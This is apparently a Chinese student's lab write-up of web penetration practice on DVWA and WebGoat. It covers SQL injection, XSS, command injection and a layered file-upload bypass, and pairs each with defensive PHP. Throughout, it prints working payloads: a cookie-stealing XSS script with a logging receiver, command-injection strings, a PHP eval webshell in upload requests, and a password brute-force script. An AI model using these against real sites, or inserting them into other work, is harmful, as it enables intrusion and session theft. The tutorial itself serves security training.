本文所有操作、漏洞复现、工具测试均在官方授权靶场(DVWA、WebGoat) 内完成,仅用于网络安全技术学习、实训演练与安全防御研究。

目录

一、实训环境与整体学习规划

1.1 实验环境清单

1.2 分阶段学习路线(思维导图)

1.3 实训整体思路

二、核心理论与单项漏洞复现(嵌入大量实战代码)

2.1 SQL 注入漏洞

2.1.1 漏洞成因

2.1.2 分级实战 Payload 代码

2.1.3 防御代码(修复漏洞)

2.2 XSS 跨站脚本漏洞

2.2.1 漏洞成因

2.2.2 全套 XSS 测试 Payload 代码

2.2.3 接收 Cookie 的后端脚本(recv.php)

2.2.4 XSS 防御代码

2.3 命令执行漏洞

2.3.1 漏洞 Payload 与测试命令

2.4 学习心得

三、核心工具实操:Burp Suite + 自动化测试脚本

3.1 Burp Suite 核心配置与抓包代码规则

3.1.1 典型 HTTP 请求包(文件上传场景原始数据包)

3.1.2 绕过 MIME 检测:修改后请求包代码

3.2 Python 简易弱口令爆破脚本(实战代码)

3.3 工具组合使用规范

四、综合靶场实战:多层防护文件上传漏洞(重点案例 + 完整代码)

4.1 靶场三重防护规则

4.2 一句话木马代码(核心攻击载荷)

4.3 分层绕过完整操作 & 数据包代码

4.4 上传漏洞防御代码(PHP)

4.5 实战总结

五、新手高频踩坑点 & 实战排错手册(代码类问题专项)

六、自我复盘 & 后续学习规划

6.1 现阶段存在不足

6.2 后续学习计划

6.3 学习感悟

七、全文总结

互动交流


一、实训环境与整体学习规划

1.1 实验环境清单

本次全程使用标准化实训环境,保证操作可复现,环境配置如下:

设备 / 工具版本信息核心用途
渗透主机Kali Linux 2024.1 / Windows 10漏洞利用、工具运行、代码编写
实训靶场DVWA 1.10、WebGoat 8.0单项漏洞 + 综合场景复现
核心工具Burp Suite Community 2024、AWVS 2023、御剑目录扫描抓包改包、漏洞扫描、信息收集
代码环境Python3、PHP7、MySQL5.7编写测试脚本、分析漏洞源码

1.2 分阶段学习路线(思维导图)

很多新手入门直接上手工具,跳过理论导致频繁失败。结合课程实训,我总结出一套循序渐进的学习路线。

图 1 学习路线思维导图

图注:本路线为实训亲测最优顺序,理论、工具、代码同步推进,大幅降低入门难度。

1.3 实训整体思路

本次课程实训分为两大模块:单项漏洞专项练习、多层防护综合实战。核心学习逻辑:理解漏洞根源 → 编写 / 使用 Payload 代码 → 学习绕过技巧 → 编写防御代码,做到「知攻、知防、会编码、会排错」。


二、核心理论与单项漏洞复现(嵌入大量实战代码)

Web 渗透的核心是利用代码逻辑缺陷、数据过滤不严实现非法交互。课程重点学习 6 类主流高危漏洞,结合Payload 代码、漏洞源码、防御代码展开实操记录。

2.1 SQL 注入漏洞

2.1.1 漏洞成因

后端 PHP 代码未对用户输入做过滤、转义、预编译,直接拼接 SQL 语句传入 MySQL 数据库,造成注入风险。存在漏洞的 PHP 源码(示例)

<?php
// 危险代码:直接拼接用户输入,无任何过滤
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result)){
    echo "用户名:".$row['username'];
}
?>
2.1.2 分级实战 Payload 代码

基于 DVWA 不同安全等级,整理全套可直接运行的注入语句,同时搭配 Linux 终端请求命令。

 1. 低级难度:基础联合查询注入(浏览器URL直接访问)
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=' union select 1,database() -- q

 2. 中级难度:关键字过滤,大小写变形绕过
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=' UnIoN SeLeCt 1,user() -- q

 3. 高级难度:单引号过滤,注释符绕过
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' and 1=1 #

终端curl命令发起注入请求(Kali Linux专用)
curl "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=' union select 1,version() -- q"
2.1.3 防御代码(修复漏洞)

采用参数化查询彻底解决 SQL 注入,标准安全 PHP 代码:

<?php
// 安全代码:PDO参数化查询,杜绝SQL注入
$id = $_GET['id'];
$pdo = new PDO("mysql:host=localhost;dbname=dvwa","root","root");
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->bindParam(":id",$id);
$stmt->execute();
$row = $stmt->fetch(PDO::FETCH_ASSOC);
echo "用户名:".$row['username'];
?>

2.2 XSS 跨站脚本漏洞

2.2.1 漏洞成因

前端输出数据未做 HTML 转义,恶意脚本直接在浏览器执行。漏洞前端代码片段

<!-- 危险代码:直接输出用户输入 -->
<div>留言内容:<?php echo $_POST['msg']; ?></div>
2.2.2 全套 XSS 测试 Payload 代码

区分基础型、标签绕过型、编码绕过型,适配 DVWA 全等级:

<!-- 1. 基础XSS(低级靶场通用) -->
<script>alert('XSS测试')</script>

<!-- 2. 标签绕过(拦截script标签,中级靶场使用) -->
<img src=1 onerror=alert('XSS绕过')>

<!-- 3. 事件绕过(高级靶场,过滤img标签) -->
<body onload=alert('高阶XSS')>

<!-- 4. 简单Cookie窃取脚本(实战常用) -->
<script>document.location='http://127.0.0.1/recv.php?c='+document.cookie</script>
2.2.3 接收 Cookie 的后端脚本(recv.php)

配合窃取脚本使用,Kali 本地搭建接收服务:

<?php
// 接收靶机Cookie并写入日志文件
$cookie = $_GET['c'];
$log = fopen("cookie.log","a+");
fwrite($log,"时间:".date("Y-m-d H:i:s")." Cookie:".$cookie."\r\n");
fclose($log);
?>
2.2.4 XSS 防御代码

对输出内容进行 HTML 特殊字符转义:

<?php
// 安全代码:转义HTML特殊字符,防御XSS
$msg = $_POST['msg'];
$safe_msg = htmlspecialchars($msg,ENT_QUOTES);
echo "留言内容:".$safe_msg;
?>

2.3 命令执行漏洞

2.3.1 漏洞 Payload 与测试命令

靶机后端直接调用系统命令,无输入过滤,以下为 Linux/Windows 双平台测试代码:

# Linux靶机命令执行Payload(拼接执行命令)
127.0.0.1; whoami
127.0.0.1; ls -l /

# Windows靶机命令执行Payload
127.0.0.1 & ipconfig
127.0.0.1 & dir C:\

2.4 学习心得

所有漏洞学习切忌死记硬背代码。读懂漏洞源码、理解代码缺陷,再针对性编写 Payload 与防御代码,才能真正掌握攻防本质。


三、核心工具实操:Burp Suite + 自动化测试脚本

在整套渗透流程中,Burp Suite 是核心工具,同时我结合 Python 编写简易脚本,实现批量请求、弱口令爆破,提升自动化能力。

3.1 Burp Suite 核心配置与抓包代码规则

图 2 Burp Suite 抓包主界面

图注:

  1. Intercept 拦截开关:控制是否捕获浏览器数据包;
  2. Raw 原始请求区:可手动修改 HTTP 请求头、请求体代码;
  3. Forward 转发按钮:修改数据包后放行请求。
3.1.1 典型 HTTP 请求包(文件上传场景原始数据包)
POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
Content-Length: 520

------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/x-php

<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundaryXXXX
3.1.2 绕过 MIME 检测:修改后请求包代码

修改Content-Type伪装成图片,实现绕过:

POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
Content-Length: 520

------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="uploaded"; filename="shell.jpg.php"
# 核心修改:伪装图片类型
Content-Type: image/jpeg

<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundaryXXXX

3.2 Python 简易弱口令爆破脚本(实战代码)

针对网站登录模块,编写轻量化爆破脚本,替代人工测试,代码可直接在 Kali Python3 环境运行:

# 弱口令爆破脚本 Python3
import requests

# 目标地址、账号、密码字典
url = "http://127.0.0.1/dvwa/login.php"
username = "admin"
# 简易密码字典
pwd_list = ["admin","123456","root","test","dvwa"]

for pwd in pwd_list:
    data = {
        "username": username,
        "password": pwd,
        "Login": "Login"
    }
    res = requests.post(url=url, data=data)
    # 根据页面返回内容判断是否登录成功
    if "Welcome" in res.text:
        print(f"【成功】账号:{username} 密码:{pwd}")
        break
    else:
        print(f"【失败】密码:{pwd}")

3.3 工具组合使用规范

  1. 自动化工具(AWVS / 御剑):使用命令行批量扫描目录,Kali 终端命令:
    # 御剑目录扫描命令行调用
    dirscan -u http://127.0.0.1/dvwa/ -d dict.txt
    
  2. 人工 + Burp+Python 脚本:漏洞验证、防护绕过、批量爆破组合使用,效率最大化。

四、综合靶场实战:多层防护文件上传漏洞(重点案例 + 完整代码)

单项漏洞练习完成后,课程安排综合实战项目,模拟企业真实网站多层防护环境。

4.1 靶场三重防护规则

  1. 前端 JS 校验:仅允许 .jpg/.png 图片后缀;
  2. 服务端 MIME 类型检测:校验 Content-Type 请求头;
  3. 服务后缀黑名单:拦截 .php/.asp/.jsp 脚本后缀。

图 3 靶场原始上传页面

图注:页面提示「仅允许上传图片格式文件」,前端 JS 拦截生效。

4.2 一句话木马代码(核心攻击载荷)

PHP 通用一句话木马,上传成功后可配合菜刀 / 蚁剑连接:

<?php @eval($_POST['cmd']); ?>

4.3 分层绕过完整操作 & 数据包代码

  1. 绕过前端 JS:Burp 拦截数据包,跳过本地校验;
  2. 绕过 MIME 检测:修改请求头 Content-Type: image/jpeg;
  3. 绕过后缀黑名单:利用 Windows 解析漏洞,文件命名为 webshell.php。

图 4 数据包修改后上传成功界面

图注:修改请求头与文件名后,脚本文件成功上传,获取 Web 访问权限。

4.4 上传漏洞防御代码(PHP)

采用后缀白名单 + MIME 校验双重防护,彻底拦截恶意脚本:

<?php
// 文件上传安全防御代码
$allow_type = ["jpg","png","gif"]; // 后缀白名单
$file_name = $_FILES['uploaded']['name'];
$file_ext = strtolower(pathinfo($file_name,PATHINFO_EXTENSION));
$mime = $_FILES['uploaded']['type'];

// 双重校验:后缀 + MIME类型
if(in_array($file_ext,$allow_type) && strstr($mime,"image/")){
    move_uploaded_file($_FILES['uploaded']['tmp_name'],"./upload/".$file_name);
    echo "上传成功";
}else{
    echo "非法文件,上传失败";
}
?>

4.5 实战总结

真实企业网站均采用多层防护,渗透的核心不是堆砌代码与工具,而是逆向分析防护规则、组合技巧逐层突破。

五、新手高频踩坑点 & 实战排错手册(代码类问题专项)

结合实训经历,整理代码、脚本、命令执行类高频错误,附报错现象、原因、修复方案:

序号问题类型报错 / 现象解决方案(代码 / 命令修复)
1SQL 注入无回显Payload 执行后页面空白替换注释符:-- q 改为 #,适配不同数据库
2Python 脚本运行报错ModuleNotFoundError: No module named 'requests'Kali 执行:pip3 install requests 安装依赖
3一句话木马无法执行上传成功但访问无响应检查文件目录权限:chmod 755 upload/(Linux)
4Curl 请求乱码终端返回中文乱码执行命令:export LANG=en_US.UTF-8 设置编码
5XSS 脚本不触发标签被页面过滤使用 HTML 编码绕过,如 &#60;script&#62;alert(1)&#60;/script&#62;
6Burp 数据包转发失败403 Forbidden补充正常 User-Agent 请求头,模拟浏览器访问

实操建议:建立个人代码仓库,按漏洞分类存储 Payload、脚本、防御代码、排错命令,实训随用随查。


六、自我复盘 & 后续学习规划

6.1 现阶段存在不足

  1. 高阶代码能力薄弱:暂未掌握复杂编码绕过、批量渗透脚本开发;
  2. 高级防护绕过不足:面对 WAF 正则过滤、代码审计类场景经验欠缺;
  3. 脚本能力单一:仅会基础 Python 脚本,未接触 Go/Java 安全工具开发。

6.2 后续学习计划

  1. 深耕代码能力:强化 Python、PHP,学习正则表达式、代码审计;
  2. 进阶 Payload 编写:学习编码、变形、免杀类高阶攻击代码;
  3. 拓展方向:学习内网渗透脚本、流量转发代码、应急响应工具开发;
  4. 持续实训:在合法靶场反复调试代码与脚本,巩固实战能力。

6.3 学习感悟

Web 安全是代码与攻防结合的领域,只会工具不懂代码,永远停留在入门阶段。学习技术的终极目标是修补漏洞、守护网络安全,必须坚守法律与道德底线。


七、全文总结

本次实训完成「理论学习 → 代码编写 → 工具训练 → 漏洞复现 → 综合实战 → 防御修复」完整闭环,核心总结:

  1. 源码是根本:读懂漏洞代码,才能理解攻击原理;
  2. 代码是利器:Payload、自动化脚本、防御代码贯穿整个渗透流程;
  3. 思路是核心:多层防护场景下,逻辑分析远比盲目执行代码重要。

希望本文的全套代码、实操案例、排错方案,能帮助入门学习者快速提升编码与攻防实战能力。

互动交流

  1. 大家在编写 Python 爆破脚本时,是否遇到过依赖包、请求超时等问题?
  2. 你常用的一句话木马、XSS Payload 还有哪些变体代码?欢迎大家点赞 + 收藏 + 评论,一起交流代码与实操问题,共同进步!

更多推荐